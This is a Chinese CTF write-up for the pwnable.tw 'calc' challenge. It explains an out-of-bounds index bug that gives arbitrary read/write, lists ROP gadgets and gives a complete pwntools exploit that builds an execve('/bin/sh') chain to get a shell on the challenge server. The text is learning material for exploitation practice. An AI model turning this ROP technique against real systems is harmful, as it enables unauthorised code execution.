先贴网上的学习链接吧,给了我挺大帮助的
https://www.cnblogs.com/Rookle/p/12884536.html
函数流程
https://blog.csdn.net/weixin_46521144/article/details/118543069
http://juniorprincewang.github.io/2017/10/01/pwnable-tw%E4%B9%8Bcalc/
writeup
https://cloud.tencent.com/developer/article/1043540
exp中栈构造
直接说重点在哪儿,main函数中调用了 calc 函数,calc 中调用了 parse_expr 函数,parse_expr 函数调用了 eval 函数
看到第18行的 initpool[ initpool[0] ],你会想到什么?
initpool[0] 如果可控,就是任意地址读
checksec 看一下
[Asm] 纯文本查看 复制代码 pwndbg> checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
发现了 Canary 和 NX,PIE 是无的没有地址随机化,大概率又是 ROP 的题
漏洞原理看参考链接吧,主要是前导符号造成的问题,导致 initpool[0] 可控,造成可读可写
如何使用 ROP,链子构造如下
[Asm] 纯文本查看 复制代码 ROPgadget --binary calc | grep "pop eax"
0x0805c34b : pop eax ; ret
ROPgadget --binary calc | grep "pop ebx"
0x080701d1 : pop ecx ; pop ebx ; ret
ROPgadget --binary calc | grep "pop edx"
0x080701aa : pop edx ; ret
如何计算栈的偏移位置?
还是结合 calc 函数的栈帧来看,首先,initpool 是 [ebp-0x5A0],0x5A0/4 = 360
在 while 循环中,不断执行了 init_pool 函数对数组进行清空操作
就需要把 payload 布置到 calc 的返回地址上
exp给出
[Python] 纯文本查看 复制代码 from pwn import *
debug = 1
online = 1
#context(log_level = "debug", arch = 'amd64', os = "linux")
context(log_level = "debug", os = "linux")
#context(arch = 'amd64', os = "linux")
if online == 0:
io = process("./calc")
else:
io = remote("chall.pwnable.tw", 10100)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
#Get Ret Addr
ru("\n")
sl("+361")
ret_addr = int(ru("\n"), 10)
print ("ret_addr = %x" % (ret_addr))
#Get Ebp Addr
sl("+360")
ebp_addr = int(ru("\n"), 10)
print ("ebp_addr = %x" % (ebp_addr))
#Payload
pop_eax_ret = 0x0805c34b
pop_ecx_pop_ebx_ret = 0x080701d1
pop_edx_ret = 0x080701aa
binsh_addr = ebp_addr + 4
binsh1 = 0x6e69622f #"nib/"
binsh2 = 0x0068732f #"\x00hs/"
int80 = 0x08049a21
payload = [pop_eax_ret, 0x0b, pop_edx_ret, 0x0, pop_ecx_pop_ebx_ret, 0, binsh_addr, int80, binsh1, binsh2]
for i in range(len(payload)):
sl("+" + str(361 + i))
num = int(rl())
diff = payload[i] - num
if (diff > 0):
sl("+" + str(361 + i) + "+" + str(diff))
else:
sl("+" + str(361 + i) + str(diff))
rl()
io.interactive()
查看 flag 的命令
[Asm] 纯文本查看 复制代码 find . -name flag |